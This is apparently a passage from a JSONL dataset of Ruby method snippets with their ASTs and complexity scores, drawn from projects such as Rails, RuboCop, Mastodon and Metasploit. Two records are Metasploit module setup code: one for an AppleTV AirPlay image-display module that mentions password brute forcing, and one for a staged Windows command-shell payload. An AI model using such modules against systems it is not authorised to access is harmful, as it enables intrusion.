OptString.new('HttpPassword', [false, 'The password for AppleTV AirPlay'])\n    ])\n\n    # We're not actually using any of these against AppleTV in our Rex HTTP client init,\n    # so deregister them so we don't overwhelm the user with fake options.\n    deregister_options(\n      'HTTP::uri_encode_mode', 'HTTP::uri_full_url', 'HTTP::pad_method_uri_count',\n      'HTTP::pad_uri_version_count', 'HTTP::pad_method_uri_type', 'HTTP::pad_uri_version_type',\n      'HTTP::method_random_valid', 'HTTP::method_random_invalid', 'HTTP::method_random_case',\n      'HTTP::uri_dir_self_reference', 'HTTP::uri_dir_fake_relative', 'HTTP::uri_use_backslashes',\n      'HTTP::pad_fake_headers', 'HTTP::pad_fake_headers_count', 'HTTP::pad_get_params',\n      'HTTP::pad_get_params_count', 'HTTP::pad_post_params', 'HTTP::pad_post_params_count',\n      'HTTP::uri_fake_end', 'HTTP::uri_fake_params_start', 'HTTP::header_folding',\n      'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2', 'NTLM::SendLM', 'NTLM::SendNTLM',\n      'NTLM::SendSPN', 'NTLM::UseLMKey', 'DOMAIN', 'DigestAuthIIS', 'VHOST'\n    )\n  end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Apple TV Image Remote Control\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will show an image on an AppleTV device for a period of time.\\n\"]},{\"type\":\"str\",\"children\":[\"          Some AppleTV devices are actually password-protected, in that case please\\n\"]},{\"type\":\"str\",\"children\":[\"          set the PASSWORD datastore option. For password brute forcing, please see\\n\"]},{\"type\":\"str\",\"children\":[\"          the module auxiliary/scanner/http/appletv_login.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"0a29406d9794e4f9b30b3c5d6702c708\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://nto.github.io/AirPlay.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HttpUsername\"]},{\"type\":\"str\",\"children\":[\"AirPlay\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"SCREEN_EFFECTS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[7000]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"TIME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Time in seconds to show the image\"]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Image to upload and show\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password for AppleTV AirPlay\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"HTTP::uri_encode_mode\"]},{\"type\":\"str\",\"children\":[\"HTTP::uri_full_url\"]},{\"type\":\"str\",\"children\":[\"HTTP::pad_method_uri_count\"]},{\"type\":\"str\",\"children\":[\"HTTP::pad_uri_version_count\"]},{\"type\":\"str\",\"children\":[\"HTTP::pad_method_uri_type\"]},{\"type\":\"str\",\"children\":[\"HTTP::pad_uri_version_type\"]},{\"type\":\"str\",\"children\":[\"HTTP::method_random_valid\"]},{\"type\":\"str\",\"children\":[\"HTTP::method_random_invalid\"]},{\"type\":\"str\",\"children\":[\"HTTP::method_random_case\"]},{\"type\":\"str\",\"children\":[\"HTTP::uri_dir_self_reference\"]},{\"type\":\"str\",\"children\":[\"HTTP::uri_dir_fake_relative\"]},{\"type\":\"str\",\"children\":[\"HTTP::uri_use_backslashes\"]},{\"type\":\"str\",\"children\":[\"HTTP::pad_fake_headers\"]},{\"type\":\"str\",\"children\":[\"HTTP::pad_fake_headers_count\"]},{\"type\":\"str\",\"children\":[\"HTTP::pad_get_params\"]},{\"type\":\"str\",\"children\":[\"HTTP::pad_get_params_count\"]},{\"type\":\"str\",\"children\":[\"HTTP::pad_post_params\"]},{\"type\":\"str\",\"children\":[\"HTTP::pad_post_params_count\"]},{\"type\":\"str\",\"children\":[\"HTTP::uri_fake_end\"]},{\"type\":\"str\",\"children\":[\"HTTP::uri_fake_params_start\"]},{\"type\":\"str\",\"children\":[\"HTTP::header_folding\"]},{\"type\":\"str\",\"children\":[\"NTLM::UseNTLM2_session\"]},{\"type\":\"str\",\"children\":[\"NTLM::UseNTLMv2\"]},{\"type\":\"str\",\"children\":[\"NTLM::SendLM\"]},{\"type\":\"str\",\"children\":[\"NTLM::SendNTLM\"]},{\"type\":\"str\",\"children\":[\"NTLM::SendSPN\"]},{\"type\":\"str\",\"children\":[\"NTLM::UseLMKey\"]},{\"type\":\"str\",\"children\":[\"DOMAIN\"]},{\"type\":\"str\",\"children\":[\"DigestAuthIIS\"]},{\"type\":\"str\",\"children\":[\"VHOST\"]}]}]}]}","id":"3e1ebe50-10fc-40ca-9d0e-1a7a69fc95f7"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/imports/create.rb","start_line":13,"raw_source":"def call\n    import.update!(status: :processing)\n    broadcast_status_update\n\n    temp_file_path = Imports::SecureFileDownloader.new(import.file).download_to_temp_file\n\n    source = if import.source.nil? || should_detect_source?\n               detect_source_from_file(temp_file_path)\n             else\n               import.source\n             end\n\n    import.update!(source: source)\n    importer(source).new(import, user.id, temp_file_path).call\n\n    schedule_stats_creating(user.id)\n    schedule_visit_suggesting(user.id, import)\n    update_import_points_count(import)\n    User.reset_counters(user.id, :points)\n  rescue StandardError => e\n    import.update!(status: :failed)\n    broadcast_status_update\n\n    ExceptionReporter.call(e, 'Import failed')\n\n    create_import_failed_notification(import, user, e)\n  ensure\n    if temp_file_path && File.exist?(temp_file_path)\n      File.unlink(temp_file_path)\n    end\n\n    if import.processing?\n      import.update!(status: :completed)\n      broadcast_status_update\n    end\n  end","complexity_score":75.5,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"processing\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"broadcast_status_update\"]},{\"type\":\"lvasgn\",\"children\":[\"temp_file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Imports\"]},\"SecureFileDownloader\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import\"]},\"file\"]}]},\"download_to_temp_file\"]}]},{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import\"]},\"source\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"should_detect_source?\"]}]},{\"type\":\"send\",\"children\":[null,\"detect_source_from_file\",{\"type\":\"lvar\",\"children\":[\"temp_file_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import\"]},\"source\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"source\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"importer\",{\"type\":\"lvar\",\"children\":[\"source\"]}]},\"new\",{\"type\":\"send\",\"children\":[null,\"import\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"temp_file_path\"]}]},\"call\"]},{\"type\":\"send\",\"children\":[null,\"schedule_stats_creating\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"schedule_visit_suggesting\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]},{\"type\":\"send\",\"children\":[null,\"import\"]}]},{\"type\":\"send\",\"children\":[null,\"update_import_points_count\",{\"type\":\"send\",\"children\":[null,\"import\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"reset_counters\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]},{\"type\":\"sym\",\"children\":[\"points\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"failed\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"broadcast_status_update\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExceptionReporter\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"str\",\"children\":[\"Import failed\"]}]},{\"type\":\"send\",\"children\":[null,\"create_import_failed_notification\",{\"type\":\"send\",\"children\":[null,\"import\"]},{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"temp_file_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"unlink\",{\"type\":\"lvar\",\"children\":[\"temp_file_path\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import\"]},\"processing?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"completed\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"broadcast_status_update\"]}]},null]}]}]}]}","id":"ae257a1a-14f3-4f91-8bd9-f7a7e43487e4"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/first_hash_element_indentation.rb","start_line":137,"raw_source":"def autocorrect(corrector, node)\n          AlignmentCorrector.correct(corrector, processed_source, node, @column_delta)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AlignmentCorrector\"]},\"correct\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"send\",\"children\":[null,\"processed_source\"]},{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"ivar\",\"children\":[\"@column_delta\"]}]}]}","id":"c84dbef6-42cf-4673-a371-4612834d672a"}
{"repo_name":"aasm","file_path":"./repos/aasm/spec/models/callbacks/basic_multiple.rb","start_line":68,"raw_source":"def transition_guard;     log('transition_guard');    !@fail_transition_guard; end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"transition_guard\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"transition_guard\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fail_transition_guard\"]},\"!\"]}]}]}","id":"ba5958f4-31d3-47b9-9980-a41d4e6a6714"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb","start_line":57,"raw_source":"def on_weekend?\n      WEEKEND_DAYS.include?(wday)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_weekend?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WEEKEND_DAYS\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"wday\"]}]}]}","id":"9f470732-0c32-4a78-85ae-6e090cccb066"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_output_as_buffered_backup.rb","start_line":151,"raw_source":"def flush_chunks\n      @i.start\n      @i.after_start\n\n      @i.interrupt_flushes\n\n      now = Time.parse('2016-04-13 18:33:30 -0700')\n      Timecop.freeze(now)\n      @i.emit_events(\"test.tag.1\", dummy_event_stream())\n      now = Time.parse('2016-04-13 18:33:32 -0700')\n      Timecop.freeze(now)\n\n      @i.enqueue_thread_wait\n      @i.flush_thread_wakeup\n      waiting(4) { Thread.pass until @i.write_count > 0 }\n\n      assert { @i.write_count > 0 }\n      Timecop.freeze(now)\n      @i.flush_thread_wakeup\n    end","complexity_score":26.8,"ast_json":"{\"type\":\"def\",\"children\":[\"flush_chunks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@i\"]},\"start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@i\"]},\"after_start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@i\"]},\"interrupt_flushes\"]},{\"type\":\"lvasgn\",\"children\":[\"now\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2016-04-13 18:33:30 -0700\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timecop\"]},\"freeze\",{\"type\":\"lvar\",\"children\":[\"now\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@i\"]},\"emit_events\",{\"type\":\"str\",\"children\":[\"test.tag.1\"]},{\"type\":\"send\",\"children\":[null,\"dummy_event_stream\"]}]},{\"type\":\"lvasgn\",\"children\":[\"now\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2016-04-13 18:33:32 -0700\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timecop\"]},\"freeze\",{\"type\":\"lvar\",\"children\":[\"now\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@i\"]},\"enqueue_thread_wait\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@i\"]},\"flush_thread_wakeup\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"waiting\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@i\"]},\"write_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"pass\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@i\"]},\"write_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timecop\"]},\"freeze\",{\"type\":\"lvar\",\"children\":[\"now\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@i\"]},\"flush_thread_wakeup\"]}]}]}","id":"c026e721-aad5-4a05-bf06-dda89d793f27"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/length_validation_test.rb","start_line":190,"raw_source":"def test_validates_length_of_using_bignum\n    bigmin = 2**30\n    bigmax = 2**32\n    bigrange = bigmin...bigmax\n    assert_nothing_raised do\n      Topic.validates_length_of :title, is: bigmin + 5\n      Topic.validates_length_of :title, within: bigrange\n      Topic.validates_length_of :title, in: bigrange\n      Topic.validates_length_of :title, minimum: bigmin\n      Topic.validates_length_of :title, maximum: bigmax\n    end\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_length_of_using_bignum\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bigmin\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"**\",{\"type\":\"int\",\"children\":[30]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bigmax\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"**\",{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bigrange\",{\"type\":\"erange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bigmin\"]},{\"type\":\"lvar\",\"children\":[\"bigmax\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bigmin\"]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"within\"]},{\"type\":\"lvar\",\"children\":[\"bigrange\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in\"]},{\"type\":\"lvar\",\"children\":[\"bigrange\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minimum\"]},{\"type\":\"lvar\",\"children\":[\"bigmin\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"maximum\"]},{\"type\":\"lvar\",\"children\":[\"bigmax\"]}]}]}]}]}]}]}]}","id":"1854cdb0-fa47-4971-9af2-df59db485b1d"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/variant.rb","start_line":397,"raw_source":"def set_price(currency, amount, compare_at_amount = nil)\n      prices.find_or_initialize_by(currency: currency) do |price|\n        price.amount = amount\n        price.compare_at_amount = compare_at_amount if compare_at_amount.present?\n        price.save!\n      end\n    end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"set_price\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"currency\"]},{\"type\":\"arg\",\"children\":[\"amount\"]},{\"type\":\"optarg\",\"children\":[\"compare_at_amount\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prices\"]},\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"currency\"]},{\"type\":\"lvar\",\"children\":[\"currency\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"price\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"price\"]},\"amount=\",{\"type\":\"lvar\",\"children\":[\"amount\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compare_at_amount\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"price\"]},\"compare_at_amount=\",{\"type\":\"lvar\",\"children\":[\"compare_at_amount\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"price\"]},\"save!\"]}]}]}]}","id":"b4e19883-5350-4608-881c-aa583b89a7c6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/stages/windows/encrypted_shell.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Windows Command Shell',\n        'Description' => 'Spawn a piped command shell (staged)',\n        'Author' => [\n          'Matt Graeber',\n          'Shelby Pace'\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => 'win',\n        'Arch' => ARCH_X86,\n        'Session' => Msf::Sessions::EncryptedShell,\n        'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X86 ],\n        'PayloadCompat' => { 'Convention' => 'sockedi' }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Command Shell\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Spawn a piped command shell (staged)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Matt Graeber\"]},{\"type\":\"str\",\"children\":[\"Shelby Pace\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"EncryptedShell\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Dependencies\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Compiler\"]},\"Mingw\"]},\"X86\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadCompat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Convention\"]},{\"type\":\"str\",\"children\":[\"sockedi\"]}]}]}]}]}]}]}]}","id":"4d259290-3c5b-49c8-81fa-00108cdb4c43"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/documents/app/forms/document_form.rb","start_line":100,"raw_source":"def save_label\n    if model.persisted?\n      I18n.t(\"button_save\")\n    else\n      I18n.t(\"button_create\")\n    end\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"save_label\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"button_save\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"button_create\"]}]}]}]}","id":"c753dbd4-380f-4d6b-b729-676ab7280e9f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/activity.rb","start_line":164,"raw_source":"def follow_from_object\n    @follow_from_object ||= ::Follow.find_by(target_account: @account, uri: object_uri) unless object_uri.nil?\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"follow_from_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_uri\"]},\"nil?\"]},null,{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@follow_from_object\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Follow\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_account\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"object_uri\"]}]}]}]}]}]}]}","id":"b0bbb8f4-b7b5-4649-95a4-c81f4f1f2853"}
